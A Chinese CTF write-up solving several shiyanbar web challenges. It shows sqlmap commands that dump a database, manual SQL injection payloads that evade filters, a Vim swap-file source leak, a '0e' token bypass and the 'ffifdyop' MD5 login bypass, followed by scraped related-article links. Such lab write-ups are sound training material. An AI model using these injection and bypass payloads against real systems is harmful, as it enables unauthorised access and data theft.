实验吧web题:

这个有点简单

因为刚了解sqlmap,所以就拿sqlmap来练练手了

1,先测试该页面是否存在sql注入漏洞

2、找到漏洞页面,复制url,然后打开sqlmap

先查看当前数据库

然后爆出:

然后爆出数据库下的表:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db –tables

字段:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey –columns

sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey -C k0y –dump

得到key

如果要手工注入,可参考:链接

#简单的SQL注入

http://www.shiyanbar.com/ctf/1875

1)试着在?id=1,没有错误

2)试着?id=1’,出错了,有回显,说明有注入点:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ''''' at line 1
3)先预计后台表名为flag,所以构造union select flag from flag
4)根据第二部判断的依据,所以多加个',后面的语句需要再一个'来结束,注入语句为?id=1'union select flag from flag where 't'=
't
回显的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near 't'='t'' at line 1
分析:根据报错,只有变量了,其他的关键字都没过滤了
5)把关键字from,where写两遍试试,结果报错:corresponds to your MySQL server version for the right syntax to use near
'unionselectflag fromflag where't'='t'' at line 1
发现空格被过滤!
6)用'+'号来代替空格:?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t

简单的sql注入2:

1、先?id=1,正常回显,然后=2,=3,最后发现只有三个

2、?id=1’ 显示mysql 语句错误 大概判断mysql 语句为 select name from user where id=’input’

3.id=1 ’ 中间有一个空格 显示 SQLi detected! 说明 空格被过滤

继续简单的 判断

id=1’%0Band%0B’1’=’1 %0B 表示空格 还有的 类似 %0a-%0z + /**/都可以试试

显示正常

ID: 1'and'1'='1
name: baloteli

然后 继续测试

发现这个 逻辑 方法也 不错

?id=1’||id||’ 可以显示 表中的数据 然后语句就是 select name from user where id=’1’||id||” 闭合的 想要显示表中的所有记录可以多加几个||’‘ 只要是语句是闭合的就可以

ID: 1'||`id`||'
name: baloteli
ID: 1'||`id`||'
name: kanawaluo
ID: 1'||`id`||'
name: dengdeng

然后继续 结合web1 我们可以猜到 还有一个flag表

发现 十六进制编码就可以搞定

?id=1’/!u%6eion/ /!se%6cect/flag/!from/flag/!where/”=’

直接 getflag

拐弯抹角:

这个题是真的之前没了解过,看了下网上一些writeup,大部分都说直接看源码就出来了,搞了好久才发现是url伪静态

直接输入:http://ctf5.shiyanbar.com/indirection/index.php/user/index.php

即得flag:

URL伪静态:https://blog.csdn.net/xiaohajunsky/article/details/51224298

http://www.cnblogs.com/jsq16/p/5942003.html

忘记密码了?

先查看源代码,发现有个step2.php,所以先访问下

然后又看到step2.php内又有一个submit.php

继续访问,然后在里面发现了

这应该就是突破点了

然后在step1中有



它告诉了我们编辑器是Vim,而这个编辑器在对某个文件编辑后,如果非正常退出,会产生一个该文件的临时文件,名字为.原文件名.swp。(还有一种获取源码的方式是其备份文件名:原文件名~)

我们访问 http://ctf5.shiyanbar.com/10/upload/.submit.php.swp,可以看到一部分源码

需要两个条件,emailAddress和token

emailAddress应该是admin的邮箱地址,我们可以在step那两个php的源码里看到,应该为admin@simplexue.com

token的要求为长度为10并且值为0,0e满足这个条件

访问http://ctf5.shiyanbar.com/10/upload/submit.php?token=0e11111111&emailAddress=admin@simplexue.com

后台登录

参考了许多大佬的writeup,勉勉强强算弄懂了,这是转载的某个大佬的writeup

这道题给了一个登录框,第一反应是sql注入,提交了一个1上去后发现url没显示,或许是POST?算了,看看源码。

276f722736c95d99e921722cf9ed621c
'or'6<trash>

加到原来的语句中就是:

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>'

成功绕过的验证password 。所以提交ffifdyop得到flag。

天下武功唯快不破

参考writeup:https://www.cnblogs.com/sherlock17/p/6707136.html

扩展的知识点:

python脚本的使用

pip:pip 是一个现代的,通用的 Python 包管理工具。提供了对 Python 包的查找、下载、安装、卸载的功能。

  • pip 是一个现代的,通用的 Python 包管理工具 [1] 。提供了对Python 包的查找、下载、安装、卸载的功能。

官方提供的pip 示例

$ pip install requests

$ pip search xml

$ pip show beautifulsoup4

$ pip uninstall requests

实验吧web题:的更多相关文章

  1. 实验吧web题(26/26)全writeup!超详细:)

    #简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...

  2. 实验吧 web题writeup

    1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...

  3. 20155201 网络攻防技术 实验九 Web安全基础

    20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...

  4. 20155222卢梓杰 实验九 Web安全基础

    实验九 Web安全基础 今天不多bb,打开webgoat就是干好吧 1.简单字符串sql注入 可以看到这个实验说明是 "下表允许用户查看其信用卡号码.尝试插入一个SQL字符串,以显示所有信用 ...

  5. 20155313 杨瀚 《网络对抗技术》实验九 Web安全基础

    20155313 杨瀚 <网络对抗技术>实验九 Web安全基础 一.实验目的 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.基础问题回答 1.SQL注入攻 ...

  6. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  7. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  8. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  9. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

随机推荐

  1. 彻底弄懂python编码

    在编写python程序的过程中,中英文混用经常会出现编码问题.围绕此问题,本文首先介绍编码的含义及常用编码,随后列举几个python经常遇到的编码异常及解决方法,接着列举笔者在实践中遇到的异常出现的情 ...

  2. Redis 缓存应用实战

    为了提高系统吞吐量,我们经常在业务架构中引入缓存层. 缓存通常使用 Redis / Memcached 等高性能内存缓存来实现, 本文以 Redis 为例讨论缓存应用中面临的一些问题. 缓存更新一致性 ...

  3. vsphere 虚拟机的迁移,冷迁移,vmotion(热迁移)

    备注:(理论部分参考王春海老师的课程) 一.概述 1.vsphere数据中心当处于某种目的进行维护时,需要将某台主机上运行或关闭的虚拟机,迁移到其他主机上,这个时候就需要使用迁移 2.可以使用冷迁移或 ...

  4. websocket 初识

    websocket 初识 前言 其实很早就知道了 websocket 这个概念了,像现在大火的直播等使用的就是 websocket.之前找爬虫工作,对面问我爬过 websocket 网站没,很汗颜,那 ...

  5. MVC学习之路【小补充】

    1]:在js中使用ViewBag  需要添加“”,否则程序报错,无法正常运行 .例如:正确格式 var ss = "@ViewBag.ts"

  6. VB.NET 使用ADODB連接資料庫滙出到EXCEL

    '導入命名空間 Imports ADODB Imports Microsoft.Office.Interop Private Sub A1() Dim Sql As StringDim Cnn As ...

  7. mybatis_05动态SQL_if和where

    If标签:作为判断入参来使用的,如果符合条件,则把if标签体内的SQL拼接上. 注意:用if进行判断是否为空时,不仅要判断null,也要判断空字符串‘’: Where标签:会去掉条件中的第一个and符 ...

  8. python多线程-共享全局变量

    目录 多线程-共享全局变量 多线程-共享全局变量 列表当作实参传递到线程中 总结 多线程-共享全局变量问题 多线程开发可能遇到的问题 测试1 测试2 多线程-共享全局变量 多线程-共享全局变量 imp ...

  9. 10个JavaScript常见BUG及修复方法

    译者按: JavaScript语言设计太灵活,用起来不免要多加小心掉进坑里面. 原文: Top 10 bugs and their bug fixing 译者: Fundebug 为了保证可读性,本文 ...

  10. JS中substring与substr的用法

    substring方法用于提取字符串中介于两个指定下标之间的字符 substring(start,end) 开始和结束的位置,从零开始的索引javascript 参数 描述 start 必需.一个非负 ...